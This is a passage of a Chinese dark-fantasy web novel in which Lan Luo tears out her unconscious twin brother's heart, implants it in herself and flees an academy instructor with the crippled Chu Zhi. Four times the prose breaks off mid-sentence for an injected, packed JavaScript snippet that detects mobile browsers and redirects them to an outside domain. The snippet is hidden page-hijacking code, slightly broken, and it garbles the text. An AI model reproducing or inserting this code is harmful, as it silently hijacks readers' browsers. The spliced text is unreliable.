这次兰升没能重新站起来,反而顺着斜坡一路滚,滚到了草丛里。 晕了? 兰落皱着眉,往前窜了窜,碍于空地没有遮挡物,所以没有第一时间上前,而是谨慎地左右看了看,防止周围有人。 草丛里出现一条蜿蜒的痕迹,一簇簇的草被压塌。 兰落辨认了一下,是楚知。 他正双手撑地,拖着两条腿在地上爬行。 “兰升!兰升!你没事吧!” 楚知一边爬一边大叫兰升的名字,一脸着急。 兰升躺在地上,毫无反应。 楚知爬到了他旁边,用手背拍兰升的脸:“喂,你没事吧?” “醒醒,醒醒!” 兰升依旧昏迷不醒,楚知撑着上半身,似乎开始慌了,脑袋四处乱转:“有人吗?有没有人?” “有没有人能救救他?” 兰落不知道自己现在该不该现身,她怕这是兰升和楚知共同做的局。 可是看兰升的状态,和楚知茫然焦急的样子,似乎又不像是在演戏。 楚知喊了半天也没人出现,他的眼神到处乱转,然后再一次,仿佛无意一般锁定了兰落的位置。 “快来人啊,他真的晕倒了,现在手无缚鸡之力,快来人帮忙啊!” 楚知看着兰落的方向,着急大喊。 兰落手心都出了汗,楚知这幅样子,简直像在和她对话一样。 他是不是知道自己在这里? “快来人啊,他晕了!” 楚知依旧在大喊,求助的话语在兰落的耳朵里自动翻译成了其他意思: “——兰升虚弱。” “——周围没人。” “——可乘之机!” 兰落咬了咬嘴唇,咬到下唇流血。 不管了,机不可失! 管他陷阱还是阴谋,先下手为强! 她一下子从树上跳出来,荡在半空中扭动身子,把自己甩到另一棵稍矮的树上。 兰落不再隐匿,站在没多少树叶的树枝上,抬起枪,瞄准兰升,扣动扳机,一气呵成。 响亮的枪声惊动了草丛中啄虫子的鸟,也吓到了一脸惊恐的楚知。 楚知双手扒着草,朝远离兰升的方向爬了几步。 兰落一直小心观察着,兰升大腿上挨了一枪也没有反应,应该是真的晕了过去。 即使是假的,大腿里嵌着子弹也能阻止他愈合,剧烈的疼痛更是会让他的行动力直接下降一大半。 所以,兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873691|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落目光沉了沉,双腿微微弯曲,脚下一蹬就飞窜了出去。 她落地滚了两圈缓冲,站起身快速向前,一路狂奔到他们两个人身边。 然后一手摁住兰升的胸膛,把他作为支撑点,伸出一条腿,弯曲再蹬直,用力踹了楚知一脚。 没有反应过来的楚知直接被她踹飞出去,在低空中滚动两圈,面朝下落在地上。 “嘶……” 楚知疼得直抽气,在地上翻滚着。 兰落收回脚,单手掐住了兰升的脖子。 她要先把这两个人分开,即使他们有可能并不是同一阵营的队友。 她的情绪非常激动,手下的力气也失了分寸,兰升被掐得脸颊泛红,眉心紧皱,双腿无意识蹬地。 兰落看他喘不过气的样子,手上力气松了一点,害怕把他掐死了。 她左手控制住兰升的脖子,右手抽出在黑心老头那里搜集来的长西瓜刀,刀尖对准了兰升的胸口。 兰落浑身都兴奋得微微颤抖,刀尖也轻轻左右摇摆,停顿在兰升胸口几厘米的位置。 西瓜刀在阳光下泛着银白的闪光,反射到不远处的楚知身上,在他身上抖来抖去。 “咳咳……你……我就知道……” 楚知挣扎着抬起脑袋,捂着胸口咳嗽,断断续续地说着。 兰落的余光一直注视着楚知,见他主动找了存在感,直接将西瓜刀用力插在地上,举枪对准楚知: “你真是满嘴不老实,所以我劝你最好把嘴闭上,不要惹我不痛快。” 刀锋的闪光在楚知的脖子上浮动,他一脸雀跃地看着兰落:“对,就是这样,我都……咳……看到了,全部看到了。” “看到什么?”兰落问他,一边小心观察着兰升的动静。 “咳,我不是告诉过你吗?”楚知脸色格外苍白,“我看到了,你,捧着他的心脏。” 他指了指地上的兰升。 兰落不懂他和兰升之间到底是不是有仇,看他命不久矣毫无威胁的样子,不再搭理。 她把枪放回去,空出右手在兰升的伤口上摸了一下。 伤口表面有逐渐愈合的迹象,但子弹卡在里面,阻止了伤口深处的自愈。 兰落面无表情地用指甲抠兰升的伤口,把好不容易愈合的表皮再次撕裂。 她的手指钻进伤口,触碰到了发热的子弹。 她不能把子弹留在兰升的体内,枪和子弹都是陆观的,很容易就会被辨认出来,她不想直接暴露自己。 兰落抠挖着子弹,鲜血不断从被撕裂的伤口处涌出来,看起来狰狞无比。 兰落没什么反应,她又不会疼,生抠子弹这种事她共情不了。 把小小的子弹挖出来后,兰落匆匆擦了两下就塞进了口袋。 她再一次举起西瓜刀,指节用力到泛白,锐利的刀尖对准兰升的左胸口用力刺下。 老头的这把刀很锋利,切起西瓜来一定很丝滑。 兰落看着兰升胸前出现的狰狞刀口,还有一串串冒出来的血珠,恍惚间像看见了一个多汁大西瓜。 看着这一幕,兰落突然开始思考 西瓜如果被人吃了会死吗? 兰落紧紧闭了闭眼睛,她为什么会冒出这些混乱念头? 她呼出一口气,再次睁开眼睛,眼神坚定又冷漠。 兰落高高举起刀,冷漠的眼睛里却映出了另一双眼睛。 一双痛苦的,水润的,温柔的眼睛。 兰升轻轻开口:“落落,你真的出现了。” 28. 得手 “我没有在做梦,你是真的出现在我身边了。” 兰升眉头皱着,像在忍受极大的痛苦,说出来的话却又轻又柔。 兰落却没有心情回应他的话。 她目光聚集在兰升的胸口,高高举起刀,对着刚刚的伤口继续用力刺下去。 兰升的胸口在剧烈起伏,那道冒血的伤口就在兰落眼中动来动去,让她的刀无法精准落在伤口上。 不过犹豫了几瞬,兰升的伤口就已经开始缓慢愈合了。 兰落看见兰升痛苦的神色,他的整张脸都在微微抽动,嘴里却没再发出任何声音,只用一双眼睛紧紧盯着她。 她的刀抖了抖。 一旁的楚知一下子扑过来,用力摁住兰升的口鼻,挡住兰升的视线: “动手!” 兰落被他一嗓子叫回了神,握紧西瓜刀,沿着兰升正在愈合的伤口划下去。 锋利的西瓜刀对抗着兰升的自愈能力,轻易就让他的胸口重新变得血肉模糊。 楚知身子依旧拖在旁边,只是用一双手捂住了兰升,兰落抬头,还是从楚知的手臂缝隙中看见了兰升的眼睛。 她看不懂兰升复杂的眼神,只是用染上血的左手捂住了他的眼睛。 “快点,别手抖,不要犹豫了!” 楚知压低嗓音提醒兰落。 兰落瞥了他一眼,没说话,垂着眼睛把手伸进了新鲜的伤口。 他的血液在喷涌,温热地包裹着兰落,甚至给她一种被欢迎的错觉。 她的左手也一片温热,手心有热气蒸腾,可能是血,也可能是眼泪,她分辨不出来。 兰升不耐痛,疼了就会流生理性的眼泪,小时候她就嘲笑过他,没想到长大了还是没改掉一疼就哭的习惯。 兰落的右手触摸到了他的心脏,一片黏腻。 她想到基地,想到陆观和他身后那些狗,又想到自己东躲西藏的生活,不再犹豫,沉下目光,握住他的心脏,用力扯出。 “扑通——” “扑通——” 离开胸腔的心脏似乎不受影响,依旧在有力地跳动着,跳动声越来越清晰可闻。 而兰升已经没了反应,敞着伤口安静躺在地上,双腿微微弯曲。 刚刚他的腿一直在地上蹭来蹭去缓解疼痛,心脏拿出之后,他就像被扣掉电池的玩具,连蹬腿都动作都做不出来了。 兰落看着他微弯的腿慢慢滑下去,笔直地贴在地上。 她松开左手,兰升两只眼睛都已经闭了起来,眼眶周围有他自己的血渍,乱七八糟地糊成一片。 兰落看看兰升,再看看手里欢快的心脏,有些不可思议—— 就这样,成功了? 她这么轻易就得到了另一半不死之力? 兰落捏了一下弹性良好的心脏,总有种不真实感。 在她的预想中,自己应该是趁兰升精疲力尽,和他打一场不公平的架,然后当着他的面掏出这颗心脏,欣赏他痛苦的样子。 她俯视着兰升毫无声息的样子,总觉得他下一瞬就会站起来。 太可惜了,其实她准备了一些狠话,还没来得及放呢。 “别看了,快走吧,小心来人。” 楚知适时出声提醒她。 兰落这才想起他的存在,转过头问他:“你为什么一直和兰升待在一起?” 楚知费力地坐起来,仰着头回答:“你前脚刚离开,那小孩后脚就找到我了,他跟胡娇芬给我找了点草药,说对我的伤口可能有点效果……” “说重点。”兰落皱眉,她对楚知经历了什么不感兴趣,只想知道他和兰升的关联。 楚知抿了抿唇,继续开口:“有其他拾荒者和他们抢地盘,胡娇芬没打过他们,那小孩着急了,就带着我们用异能逃命,不知道怎么就逃到这里来了。” 兰落垂眸,和她猜的大差不差。 “但我们一到这里就遇上了一伙人,他们把昏迷的小孩捡走了。” “胡娇芬看他被抓走,救人心切,就把我先放在了附近,自己去找小孩。” “然后我就遇到了兰升,他救了我。” 兰落安静听着,拇指抚摸着心脏表面。 楚知说到这就停下了,没继续往下说。 “没了?” 兰落问他。 楚知愣了一下:“没了……” 兰落盯着他:“你和兰升没仇?” “没仇啊。”楚知脸上露出思索的表情。 “那你为什么,”兰落组织了一下语言,“要助纣为虐杀了他。” “他对你这么好,不是你的恩人吗?” 楚知张了张嘴,没有反驳。 兰落看他一眼,捧着心脏转身就走。 楚知在身后努力抬起上半身:“别走!带上我!” 兰落没有搭理他,继续往前走。 她要找个地方把心脏放进自己的胸腔,让两颗心脏进行融合。 只是想到这件事,兰落就已经兴奋得有些发抖了。 她太想尽快拥有完整的不死之力了,等她变强了,就不用再像野人一样躲在森林里,她要正大光明出现在所有地方。 身后有拖拽的声音,是楚知拖着两条废腿在跟着她。 “求你了!兰落!求你!” 他一边爬一边小声喊:“如果你不带上我,那我就死路一条了,军校不可能放过我的!” 兰落回头,不解地问他:“死路一条?难不成你觉得跟着我就不是死路一条了?” 他是不是忘了自己带他逃出基地的时候让他受了多少伤? 楚知见兰落回头了,加快语速:“我一直和他待在一起,如果他死了,军校一定不会放过我的,基地也很有可能会发现我。” “我们是一起逃出来的,如果我被基地发现了,你的行踪也会暴露!带上我吧,兰落,就看在我帮过你的份儿上。” 他趴在地上低声下气地祈求着。 “那我把你也杀了不就得了,”兰落甚至觉得有些好笑,“就算你不帮我摁住他,他也已经失去了反抗能力,只能乖乖被我剖出心脏。” 楚知听完,突然笑了一下,笑容却不达眼底。 他脸上还是那副卑微神色:“你以为他为什么精疲力尽,没有还手之力?” “你就不觉得,他的症状有些熟悉吗?” 兰落握住心脏,用眼神示意楚知把话说完。 她已经隐隐猜到了楚知要说的话,只是不敢确定。 “因为,”楚知一字一顿,“我把你给我的那瓶血,滴在果子里,喂给了兰升。” “所以从昨晚开始,他就中毒了。” 兰落回忆了一下,昨天晚上兰升确实是吃了一颗果子,吃完后就进了帐篷,看不出中没中毒。 但这不对,以兰升的自愈能力,那点毒素不至于这么久了都恢复不了。 “我发现这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878975|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓶血对他有效之后,特地在今天早晨,又下了一次毒,给你留下了充分的动手空间。” 楚知观察着她的神色,慢慢解释。 兰落看着他,问出了一直想问的问题:“你怎么知道我在这里?” 甚至好几次都可以精准地找到她的藏身之处。 楚知说:“因为我发动了预知能力。” “你走之后我就开始疯狂动用预知能力,你觉得我没用,可事实证明我还是有用的,不然你也不会这么顺利得到他的心脏。” 他的表情有一瞬间的扭曲,像个努力证明自己的自卑狂。 “他在我的预知里出现了成千上万次,所以见到兰升的第一眼我就认出了他,也知道你会出现在哪些地方。” 他越说越激动:“昨天胡娇芬来求救的时候我就明白机会来了,故意给他下毒,可是你猜他吃完怎么说?” 兰落敛去了脸上的表情,冷淡地看着他。 “他说,果子很好吃,让他想起了自己的妹妹。” 楚知完全像变了个人,面容扭曲,脸上甚至带着一点得意。 兰落几乎要把心脏捏爆炸,感受到指缝里光滑的心脏,赶紧松了松手劲儿。 “你是不是想死?”她问。 楚知说:“兰落,你真冷血,其实你和基地的人没什么不同。” 看来是真的想死。 兰落掏出枪,对准了楚知。 “那你杀了我吧,”楚知盯着枪口,眼神恍惚,“杀了我也总好过继续过暗无天日的日子。” “你不知道,被你带出基地的时候我有多开心,我都快忘了天是什么样子树是什么颜色,哪怕被拖得血肉模糊我也甘之如饴。” 楚知对着枪口滔滔不绝,兰落始终皱眉盯着他,脸上带着不耐烦。 “可看过自由之后,自由好像也不算什么了,因为我只是个没有行动力的瘫子。你知道我为什么要一直发动异能吗?” “预知能力是以寿命做代价,每发动一次,我的生命就缩短一点,我就是为了早点解脱,才不停预知。只要我的预知能力没有用尽,我作为容器的使命就没有完成,我连死都做不到。” 兰落听了半天,只得出一个结论—— 这和她没关系,和兰升也没关系。 她不懂为什么楚知既然已经活腻了似的求死,却还要求她带上他逃命。 死在这不就行了? “可是我恨我自己,恨我为什么还是想活着,我恨我不能一死了之,我恨我对烂泥一样的人生仍然抱有希望。” 楚知继续往前爬,一边爬一边哭,毫无尊严和体面。 “为什么?为什么要用预知能力吊着我这条烂命!我早就不想活了,可我死不掉,我也不敢死!” “我总是期待着有一天能感受到预知里的生活,所以我趴在地上像条蛆虫一样祈求所有人给我一条活路。” “可你不知道我求生之后有多后悔多狼狈,我怎么会变成这幅贪生怕死卑微求生的模样呢?兰落,你告诉我吧,我为什么会是这样的人?” 兰落觉得楚知说的很对,他现在匍匐在地满身狼狈的样子,的确像条蛆虫。 兰落摸了摸心脏,还是热的。 “我回答不了你,”她说,“但我可以满足你的愿望。” 楚知眼泪糊了满脸:“什……” “杀了你。” 兰落把枪口顶在他的太阳穴,一脸冷漠地说。 29. 两颗 楚知听到兰落的话,狰狞的表情有一瞬间的茫然。 “哈哈哈……” 他突然捂着脸笑起来,满手的草和土都糊在了脸上,和眼泪混在一起。 兰落对他的耐心已经彻底耗尽,她需要尽快把兰升的心脏放到自己体内,再拖下去,恐怕很快就会被发现了。 “你想死可以,”兰落打断他发癫,“但你不能死在这里。” “基地知道我们是一起逃的,如果你被基地捉回去了,我的行踪也会暴露。” 兰落居高临下看着楚知略显忐忑的神色,平静开口:“所以我会把你带到外面杀。” 话音落地,兰落等了两秒钟,没听见楚知有异议,直接单方面采纳了自己的提议,捧着充满活力的心脏离开了。 她要找个安全的地方消化心脏。 兰落把心脏藏在怀里,找到了自己之前待过的山洞,掀开遮住洞门的藤蔓,又推开堵着洞口的石块,狭小的山洞才终于露了出来。 检查了一下,里面没有被入侵的痕迹,兰落放心地钻进去,重新用石块堵住洞口。 山洞里顿时漆黑一片,鲜红的心脏只剩一个模糊的黑色轮廓,细看还能看见它在轻轻收缩跳动。 兰落不想再耽搁下去,简单擦了擦西瓜刀,对准自己的胸口就刺了下去。 刀尖很轻易就能破开皮肉,她甚至听到了胸腔被划开的声音。 兰落划出一道口子之后,把刀扔到一边,用手探了一下伤口的位置,手指抵在边缘,用力一扯。 泛着淡淡腥味的血液一股接一股涌出来,被兰落的衣服吸收掉,形成一大摊暗色的痕迹。 即使是在黑暗中,兰落的表情都没有丝毫的变化,冷静得像在杀鱼,完全看不出是在自己身上撕扯皮肉。 她举起兰升的心脏放在眼前细细端详,手指控制不住发颤。 山洞里太黑了,兰落看不清这颗心脏的细节,却能感受到它细微但稳定的跳动。 兰落的另一只手已经触摸到了胸腔里另一颗心脏,它被无数细小的血管包围着,正在剧烈跳动。 她和兰升自出生起的的一切,都寄托在这两颗小小的心脏上。 兰落捏了一下自己的心脏,手心一片温热的黏腻湿滑。 被攥住的心脏受惊一般突然停止跳动,兰落的眼前出现层层叠叠的黑影,呼吸也慢慢停滞。 她放开心脏,让它慢慢恢复跳动,把手抽了出来,扒住伤口的边缘,让自己的胸腔暴露出来。 “咚咚……咚……” 兰落耳边又开始出现心跳声,和跟踪兰升时听到的声音一模一样。 她眼睛一错不错地盯着手里的心脏—— “咚……咚咚……” 耳边的心跳声与手中心脏跳动的频率完全重合,所以她之前听到的是兰升的心跳声? 兰落知道有些双生子会有独特的心灵感应,也许她听到的声音也是龙凤胎之间的某种感应吧。 亦或者,只是这两颗心脏太渴望交融了。 兰落看着越靠近自己的胸腔,跳动就越明显的心脏,深吸一口气,一把将它摁在了自己的胸腔中。 两颗热腾腾的心脏撞在一起,光滑的外表相触的一瞬间,兰落胸口就传来一股巨大的疼痛。 外来的心脏牢牢扒在原生心脏旁,不再需要外力的托举,兰落咬着牙把手从伤口处抽出来,她的右手从指尖一直到小臂都是血淋淋的一片。 疼! 好疼! 原来疼痛是这种感觉。 兰落咬着手臂,感受着胸口蔓延出来的无休无止的疼痛,整个人都快要晕厥。 这是她第一次如此真实地感受到疼痛的滋味,疼得她眼冒金星,连呻吟的力气都没有。 怪不得,怪不得楚知整天一副气若游丝的样子,原来受伤了会这么疼! 兰落没感受过疼痛,不知道该怎么形容自己现在的感受,她胸前的伤口好转了一点,不再涌出鲜血,只有在她忍不住扭动身体的时候才会渗出几滴。 这么快的愈合速度…… 兰落满头都是冷汗,颤着手摸了摸以肉眼可见的速度愈合的伤口,这就是兰升之前的好日子吗? 虽然疼是疼了点,但和愈合速度比起来,这点疼痛也不是不能忍受了。 兰落不过是走了一会儿神,胸前的大洞就已经愈合了个七七八八,看不出原本的狰狞,只能摸到伤口连接处凸起的嫩肉。 她撑着墙壁站起身,双腿一软就要跪,只能把自己整个人都倚在墙面上。 盘了太久,腿麻了。 兰落枕着自己的小臂,小口小口恢复着呼吸。 伤口的确一直在自动愈合,看起来什么问题都没有。 可是—— 兰落把手放在胸口,轻轻抚摸着胸口处的皮肤。 为什么,还是这么疼? 伤口之下传来源源不断的痛感,和刚刚外伤的疼痛不一样,这次的痛似乎是由内而外的。 就好像……两颗心脏在打架一样。 这个念头刚出现,兰落的胸口就传来一阵更剧烈的疼痛,她甚至可以从这种疼痛中感受到两颗心脏的跳动。 一颗急,另一颗就更急。 她瘫软在地,死死咬住嘴唇,防止自己发出声音,指甲紧紧抠着自己的肉。 抠了会儿,兰落又松手,转而去抠石壁。 扣肉太疼了,以前她没有痛觉,可以随便弄伤自己,现在不行,任何细微的痛觉都会反馈在自己的身上,她犯不着自虐。 兰落潜意识里明白这是两颗心脏在博弈,或者说,他们在努力吞噬对方。 赢的一方才能拥有绝对的控制权。 但是,她没有时间、也不打算让这两颗心脏自由搏击。 连独立生存都做不到的心脏,老老实实听她支配就够了。 兰落忍痛站起身,掀开小石头观察外面的环境。 在昏暗的洞里没感觉,现在看着外面的景象,兰落才一下子发现自己的视力似乎提升了很多。 虽然她的五感原本就很灵敏,但之前绝对不可能看得这么远又这么清楚。 就连远处某片叶子上停了一只七条腿的蜘蛛,她都能看得一清二楚。 兰落本以为自己继承了兰升的身体素质,但她敢保证,就算是兰升本人站在这里,都不可能看得那么清楚。 一半的力量,和完整的不死之力,差别或许真的很大。 她拍了拍胸口,她的心跳很乱,两颗心脏像打累了一样,正处于互不搭理的状态,各跳各的,非常杂乱无章。 兰落很清楚它们还没有完成融合,但现在这样微妙的平衡就已经很好了,至少不会影响到她的正常行动。 她掀开石头,跳下山洞,没有丝毫停留,直奔兰升和楚知的位置。 天上不知道什么时候开始下雨的,稀稀拉拉一点毛毛雨,对她造不成任何影响。 除了有一丝微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884815|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可察的灼烧感。 兰落眼观六路耳听八方,体会着耳聪目明的感觉,跑起来格外轻松。 她的身体也变得很轻盈,速度和之前相比有了明显的提升,从山洞到空地,只用了之前一半的时间,耗费的体力却不到之前的一半。 就好像,在原始丛林中由人变成了猴子一样如鱼得水。 兰落到的时候,楚知正扛着一根带叶子的树枝在地上爬,爬两步就停下来歇歇,很虚弱的样子。 她观察了一下天色,已经有些发暗了。 入夜会有巡逻的老师,继续留在这里会很麻烦,他们要趁现在抓紧离开。 “别爬了,走。” 兰落跳到楚知面前,背对着不远处兰升的尸体。 兰升的身下被压出了一个人形坑,滴答的雨水汇聚在坑里,形成一个浅浅的小水洼。 “等一下,下雨了,不给他挡一下吗?” 楚知撑着上半身,他的衣服已经湿哒哒的,到处都是泥印子。 “你太慢了。” 兰落捡起楚知手里的树枝,转身朝兰升走去。 楚知是把树枝拖在地上的,上面的叶子已经掉了一大半,光秃秃的树枝估计也挡不住什么雨。 她一脚踩进了浅浅的小水洼,几滴水珠飞溅出去,掉在兰升胸前泡得发白的伤口上。 兰落没看他的脸,垂着眼睛把树枝铺在兰升的胸前。 稀疏的叶子挡住兰升的脸,兰落站直身子看了一眼,他的唇色很苍白,没有任何上扬的弧度。 其实兰升很爱笑,无论什么时候都喜欢微微抿唇翘起一点嘴角,又因为自愈能力强所以唇色总是红润润的。 兰落不爱和兰家人对视,所以兰升的五官中,嘴巴反而是她最熟悉的部分。 也许是休息够了,两颗心脏又开始不安分地乱跳,互相排斥着。 兰落忍着心脏的不适,回过神,一脚踹掉了这根没用的树枝。 死都死了,挡个屁! 粗糙的树枝勾住了兰升的一缕头发,他苍白的脸也因此被拉扯,偏向了一旁。 兰落的视角只能看见他半张脸,她烦躁地踢了踢水坑,弯腰拎着兰升的衣领把他拽起来。 她的力气好像也变大了,现在已经可以把一个成年男性完全腾空拎起,不会像离开实验室的时候一样,让楚知半边身子都拖在地上。 兰落像拎着一条鱼一样,大步流星把兰升甩进了他的帐篷里。 “走。” 兰落拍拍手,看也没看楚知,拽着他就走。 “诶……” 全程楚知都没机会插话,现在被兰落拽着,终于有机会开口:“不是盖一下就行了吗,放帐篷里多此一举。” “放在帐篷里不容易被发现,能给我们多拖延点时间。” 兰落把楚知扔在她进城的狗洞边上,冷声解释。 楚知也不再多问,探头到狗洞外面:“竟然还有这么个洞……要是我和胡姐他们也从这进城就好了,就不会碰到那些人了。” “不碰到又能怎样?” 兰落踩着一截老树根,随口敷衍。 她的心脏又开始疼了,一阵一阵忽强忽弱,让人不得安生。 “那样的话小孩就不会……” 楚知说到一半,突然噤声,把头缩了回来。 洞口出现了一张笑嘻嘻的脸: “哟,看我发现了什么。” “两只小老鼠。” 30. 被追 兰落隔着狗洞和来人对视。 狗洞外面,蹲在地上的肃哥掀开脸上的墨镜,保持着笑脸: “二位,这是从哪儿来往哪儿去啊?” 兰落认出了他,是军校的巡逻老师,上次就是他拦住自己,满口说教。 她还特意考虑到了巡逻的问题,一路小心翼翼,没想到这个肃哥会出现在城墙外。 不知道他认没认出自己。 肃哥拔了一根狗洞上的草,用草尖指兰落:“你吃人了?” 楚知回头看她,兰落也低头看自己。 她的衣服上全是血,是在山洞里剖开胸膛的时候流出来的。 兰落身上没有可换洗的衣服,小息城也卖衣服的地方,她只能继续穿这身脏衣服。 “这是我自己的血,”兰落淡定开口,“贵校学生都太勇猛,见人就打,我被打伤好几次了,不知道有没有赔偿?” 肃哥弹飞手里的草,一脸漫不经心:“所以说你们为什么要出现在这里?” “都说了这里是军校的试炼场,早也通知晚也通知,怎么就是不听呢?” “试炼期间,小息城内的一切生物都是可以攻击的对象,你们还活着都算这帮小崽子没用。” 他继续笑嘻嘻的:“来,先出来,我看看你们是怎么钻狗洞的。” 兰落垂眸看楚知,抬了抬下巴,示意他钻出去。 楚知拧着眉心,眼神复杂,但还是一言不发地往外挪。 肃哥和兰落一个在洞外一个在洞内,四只眼睛都落在艰难爬行的楚知身上,似乎对他钻狗洞很感兴趣。 楚知被看得满头大汗,本来就不良于行,现在更是一步一打滑,毛毛虫一样慢慢蠕动。 “啪嗒”,年久失修的废弃狗洞被楚知抠烂一小块,砖块咕噜噜滚到了肃哥的脚下。 兰落的目光顺着碎砖块移到肃哥脚下,又慢慢抬头与他对视。 肃哥表情悠哉,甚至有闲情对她点头。 军校的老师……一般都是什么水平? 兰落不动声色在脑海里搜寻自己对军校的记忆,但她对军校的了解渠道有限,为数不多的消息还是从兰升嘴里听到的。 再加上军校的老师都很低调,不会经常公开露面,想要从外部了解他们更是难上加难。 她现在唯一能确定的是,肃哥并不知道兰升出事了。 兰落上次遇到肃哥的时候,他对兰升就很关心,如果知道了兰升现在的情况,不可能对她和楚知这么和颜悦色。 但这个肃哥看起来喜怒无常的,说不定就等着在城外对他们动手了。 兰落表面镇定,余光却一直在注意肃哥,在不打草惊蛇的限度内保持警惕。 楚知硬着头皮,在两个人看似和善实则谨慎的注视下,狼狈地翻出了狗洞。 他松开攀着狗洞的手,侧身一滚就掉在了城外的草丛里,肩膀差一点碰到肃哥的鞋尖。 肃哥站起身,后退两步:“原来是这么爬的,辛苦展示。” 兰落和楚知都听得出他话里浓浓的阴阳怪气,但谁也没犯蠢跟他对峙。 装孙子认怂,有时候比硬刚效果更好。 兰落迈出一只脚,踩在狗洞上,双手撑着狗洞两边,作势要钻。 肃哥又往后退了两步,重新架起墨镜抬头看了看城墙:“你们运气不好。” 兰落表示同意,运气好的话,她现在已经脚底抹油溜之大吉了,而不是在这里对着鼻孔朝天的家伙表演钻狗洞。 “你们是不是觉得下雨了,城墙就没有看守了,想趁着这个机会离开?” 没有看守了? 这事兰落还真不知道。 谁能想到,堂堂军校的老师,会因为毛毛细雨而暂停保卫工作呢? 真是有伞怕雨点,有腿怕出门。 肃哥扶了扶墨镜:“可惜了,虽然雨天不需要守城墙,但保卫处临时抓阄,抽了我过来巡逻。” “所以说啊,我运气也不好,怎么偏偏就被我抓到短签了?” 因为你长得一脸衰样。 兰落腹诽,表情却不动,缩着身子跳出了狗洞,落在楚知和肃哥中间。 “哟,”肃哥拍拍手,“这个不错,比刚刚那个钻的好。” “看你还有点眼熟呢,是不是在马戏团钻过火圈?” 他假装思考,夸张地问。 当然眼熟了,昨天他们还是“师生”呢,她还被迫听了一通教育。 兰落揪住楚知的衣领,把他提起来一点,似乎没听出来肃哥的讽刺,一脸诚恳地说:“哪里,献丑了。” “不如您也可以试着钻一钻,说不定比我钻得更好看,毕竟有些人在某些事情上是有天赋的。” 说着还拖着楚知往旁边让了让,把狗洞让给肃哥。 肃哥挑了挑眉,又点了点头,手也没闲着,一会儿叉腰一会儿抱胸。 “行,不愧是能从小息城活着出来的。” 肃哥右手探到大腿外侧,握住绑在腿上的匕首:“我就说你们运气不好,偏偏遇到我了。” 兰落把楚知的衣角绕了一圈绕在手上,用力抓住:“我们又不是学生,你打算拿我们怎么办?误闯贵校试炼是我们不对,我们离开就是了。” “误闯?”肃哥笑了笑,“试炼前三申五令禁止出入小息城,我可不信有什么误闯。” “一对歹徒潜入军校生试炼场,对我校学生图谋不轨,身为老师,我在冒雨巡查途中发现歹徒行凶,并就地解决了他们。” “你说,这个新闻标题怎么样?”肃哥抽出匕首,冰冷的银光一闪而过。 “很烂。” 楚知冷不丁开口。 他话音落地的瞬间,兰落就立刻蹬地而起,朝着小息城外的森林狂奔而去。 楚知被她拽着,衣领紧紧卡着脖子,卡得他几乎两眼一翻,手忙脚乱地用手指勾住自己的衣领,防止窒息。 兰落没工夫管楚知在扑腾什么,她的心脏还在隐隐作痛,只能把所有力量都集中在腿上,咬着牙跑出了平生最快的速度。 钻出狗洞之前,她怕肃哥不让他们出城,所以任由肃哥阴阳怪气羞辱他们。 顺利钻出狗洞出城之后,兰落就不用再对肃哥认怂了,反正他无论如何都不可能放任他们离开。 还不如把他引远一点,能甩掉就甩,甩不掉就动手,只要远离了小息城,不怕肃哥找增援,反正在没有标志物的老森林里,增援想快速到达是不可能的。 “他,”楚知哼哧哼哧的,“他跑好快。” 兰落瞄他一眼,累的是自己,他喘个什么劲儿? “因为我跑得更快。” 兰落感受着自己堪比开了倍速的速度,嘲笑楚知:“现在长嘴了,刚刚倒是识时务,在他面前一个屁都不放。” 楚知没回答,安安静静地被她拽着跑。 兰落向后看了一眼,肃哥和她的距离始终不远不近的。 她现在的速度已经非常快,肃哥虽然追不上,但也没有轻易被她甩掉,一直牢牢跟着。 不敢想象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889254|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果是没有兰升心脏的自己碰到肃哥,该怎么跑。 说不定没跑两步就被追上捅个对穿。 “兰落。” 楚知突然喊了她一声。 “嗯?”兰落没回头,发出一声短促的疑问。 “其实你,”楚知说,“完全可以把我丢在原地。” 